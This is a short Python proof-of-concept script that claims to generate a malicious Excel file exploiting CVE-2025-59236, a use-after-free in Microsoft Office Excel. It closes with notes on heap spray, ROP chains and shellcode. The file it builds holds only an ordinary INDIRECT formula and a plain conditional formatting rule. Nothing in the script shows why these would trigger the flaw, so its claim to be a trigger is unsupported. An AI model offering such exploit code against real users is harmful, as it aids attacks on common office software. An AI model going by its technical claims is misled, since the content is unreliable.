The following code is for security research and authorized testing only.
python
# CVE-2025-59236 PoC - Microsoft Office Excel Use After Free
# This is a conceptual PoC demonstrating the vulnerability trigger
# Note: Actual exploitation requires a specially crafted Excel file
import struct
import os
def create_malicious_xlsx(output_path):
"""
Create a malicious Excel file that triggers the Use After Free vulnerability
in Microsoft Office Excel (CVE-2025-59236).
The vulnerability is triggered when Excel processes certain internal
data structures, leading to a use-after-free condition that can be
leveraged for arbitrary code execution.
"""
# XLSX is a ZIP archive containing XML files
# The vulnerability is typically triggered through malformed OOXML structures
import zipfile
import io
# Minimal XLSX structure
workbook_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<sheets>
<sheet name="Sheet1" sheetId="1" r:id="rId1"/>
</sheets>
</workbook>'''
# Malicious worksheet content designed to trigger UAF
# The key is to create structures that cause Excel to free memory
# and then reference it again
worksheet_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData>
<row r="1">
<c r="A1" t="s">
<v>0</v>
</c>
</row>
<!-- Trigger UAF through malformed cell references and data structures -->
<row r="2">
<c r="A2" t="str">
<f>INDIRECT("A"&ROW())</f>
<v>AAAA</v>
</c>
</row>
</sheetData>
<!-- Conditional formatting that triggers memory operations -->
<conditionalFormatting sqref="A1:A100">
<cfRule type="expression" priority="1">
<formula>TRUE</formula>
</cfRule>
</conditionalFormatting>
</worksheet>'''
# Create the malicious XLSX file
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('[Content_Types].xml',
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' +
'<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">' +
'<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>' +
'<Default Extension="xml" ContentType="application/xml"/>' +
'<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>' +
'<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>' +
'</Types>')
zf.writestr('_rels/.rels',
'<?xml version="1.0" encoding="UTF-8" standalone="yes"?>' +
'<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' +
'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>' +
'</Relationships>')
zf.writestr('xl/workbook.xml', workbook_xml)
zf.writestr('xl/worksheets/sheet1.xml', worksheet_xml)
print(f"Malicious Excel file created at: {output_path}")
print("WARNING: This file may trigger CVE-2025-59236 when opened in vulnerable Excel versions.")
if __name__ == "__main__":
output_file = "exploit_cve_2025_59236.xlsx"
create_malicious_xlsx(output_file)
# Note: Real exploitation would require:
# 1. Heap spray to control freed memory contents
# 2. ROP chain or shellcode placement
# 3. Specific Excel version targeting
# 4. Possibly leveraging other vulnerabilities for code execution